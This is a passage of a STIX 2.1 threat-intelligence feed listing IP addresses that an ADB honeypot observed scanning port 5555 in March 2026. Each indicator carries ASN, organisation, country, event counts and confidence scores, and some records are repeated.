      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T19:00:04.000Z",
      "valid_until": "2026-05-01T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 42,
          "first_seen": "2026-03-30T18:01:36.000Z",
          "last_seen": "2026-03-30T18:12:04.526Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "212512"
          ],
          "org": [
            "Detai Prosperous Technologies Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-30T20:51:19.000Z | last_seen=2026-03-30T20:52:52.505Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--5b07cda8-82da-44a8-baf0-a46b640c2cc6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T21:00:03.000Z",
      "valid_until": "2026-05-01T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-30T20:51:19.000Z",
          "last_seen": "2026-03-30T20:52:52.505Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T21:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-30T20:51:19.000Z | last_seen=2026-03-30T20:52:52.505Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--5b07cda8-82da-44a8-baf0-a46b640c2cc6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T21:00:04.000Z",
      "valid_until": "2026-05-01T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-30T20:51:19.000Z",
          "last_seen": "2026-03-30T20:52:52.505Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-30T21:31:59.000Z | last_seen=2026-03-30T21:33:22.555Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--0506142a-55de-418f-a84a-5cb1686b5f50",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T22:00:02.000Z",
      "valid_until": "2026-05-01T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-30T21:31:59.000Z",
          "last_seen": "2026-03-30T21:33:22.555Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T01:04:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-31T00:37:44.000Z | last_seen=2026-03-31T00:39:16.989Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--ee839113-c039-4274-93b1-a772f19510c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T01:04:10.000Z",
      "valid_until": "2026-05-02T01:04:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-31T00:37:44.000Z",
          "last_seen": "2026-03-31T00:39:16.989Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-31T01:44:07.000Z | last_seen=2026-03-31T01:45:09.743Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3e405b0a-f653-4ae7-8646-6f702b7fb403",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.230.232.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T02:00:03.000Z",
      "valid_until": "2026-05-02T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-31T01:44:07.000Z",
          "last_seen": "2026-03-31T01:45:09.743Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-31T01:17:11.000Z | last_seen=2026-03-31T01:18:18.096Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c2956aa6-5da3-4529-811e-ca749c4ac9de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T02:00:03.000Z",
      "valid_until": "2026-05-02T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-31T01:17:11.000Z",
          "last_seen": "2026-03-31T01:18:18.096Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-31T01:44:07.000Z | last_seen=2026-03-31T01:45:09.743Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3e405b0a-f653-4ae7-8646-6f702b7fb403",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.230.232.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T02:00:03.000Z",
      "valid_until": "2026-05-02T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-31T01:44:07.000Z",
          "last_seen": "2026-03-31T01:45:09.743Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-31T01:17:11.000Z | last_seen=2026-03-31T01:18:18.096Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c2956aa6-5da3-4529-811e-ca749c4ac9de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T02:00:03.000Z",
      "valid_until": "2026-05-02T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-31T01:17:11.000Z",
          "last_seen": "2026-03-31T01:18:18.096Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T04:02:16.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-31T03:06:23.000Z | last_seen=2026-03-31T03:19:56.821Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--9488d9c8-2915-4e46-afe3-84268e972edb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '68.183.157.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T04:02:16.000Z",
      "valid_until": "2026-05-02T04:02:15.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-31T03:06:23.000Z",
          "last_seen": "2026-03-31T03:19:56.821Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T04:02:17.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-31T03:06:23.000Z | last_seen=2026-03-31T03:19:56.821Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--9488d9c8-2915-4e46-afe3-84268e972edb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '68.183.157.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T04:02:17.000Z",
      "valid_until": "2026-05-02T04:02:15.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-31T03:06:23.000Z",
          "last_seen": "2026-03-31T03:19:56.821Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T08:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=CA; asn=852; asn_org=TELUS Communications; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-31T07:32:20.000Z | last_seen=2026-03-31T07:33:28.532Z | ports=5555 | cc=CA | asn=852 | org=TELUS Communications",
      "id": "indicator--8e99815b-faef-4471-af26-cafc81e63687",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.183.145.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T08:00:05.000Z",
      "valid_until": "2026-05-02T08:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-31T07:32:20.000Z",
          "last_seen": "2026-03-31T07:33:28.532Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "852"
          ],
          "org": [
            "TELUS Communications"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-31T10:17:46.000Z | last_seen=2026-03-31T10:18:56.384Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--fc21d911-ffe8-4ad8-9593-fe3548658bf2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T11:00:03.000Z",
      "valid_until": "2026-05-02T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-31T10:17:46.000Z",
          "last_seen": "2026-03-31T10:18:56.384Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-31T10:18:31.000Z | last_seen=2026-03-31T10:28:38.709Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c842da96-ab42-494f-97db-0b46715a7e2f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T11:00:03.000Z",
      "valid_until": "2026-05-02T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-31T10:18:31.000Z",
          "last_seen": "2026-03-31T10:28:38.709Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T13:00:52.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-31T12:57:06.000Z | last_seen=2026-03-31T13:08:39.760Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--436bca3e-6ec0-4819-92a9-3e595af12317",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T13:00:52.000Z",
      "valid_until": "2026-05-02T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-31T12:57:06.000Z",
          "last_seen": "2026-03-31T13:08:39.760Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-31T13:05:20.000Z | last_seen=2026-03-31T13:06:21.330Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--15fe4b37-c568-4eab-8249-22da92202ebc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '1.30.108.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T14:00:02.000Z",
      "valid_until": "2026-05-02T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-31T13:05:20.000Z",
          "last_seen": "2026-03-31T13:06:21.330Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=134763; asn_org=CHINANET Guangdong province network; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-31T13:22:50.000Z | last_seen=2026-03-31T13:24:28.453Z | ports=5555 | cc=CN | asn=134763 | org=CHINANET Guangdong province network",
      "id": "indicator--d1fb97a8-4334-422c-897d-c45a6fc507d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '14.152.90.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T14:00:02.000Z",
      "valid_until": "2026-05-02T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-31T13:22:50.000Z",
          "last_seen": "2026-03-31T13:24:28.453Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134763"
          ],
          "org": [
            "CHINANET Guangdong province network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
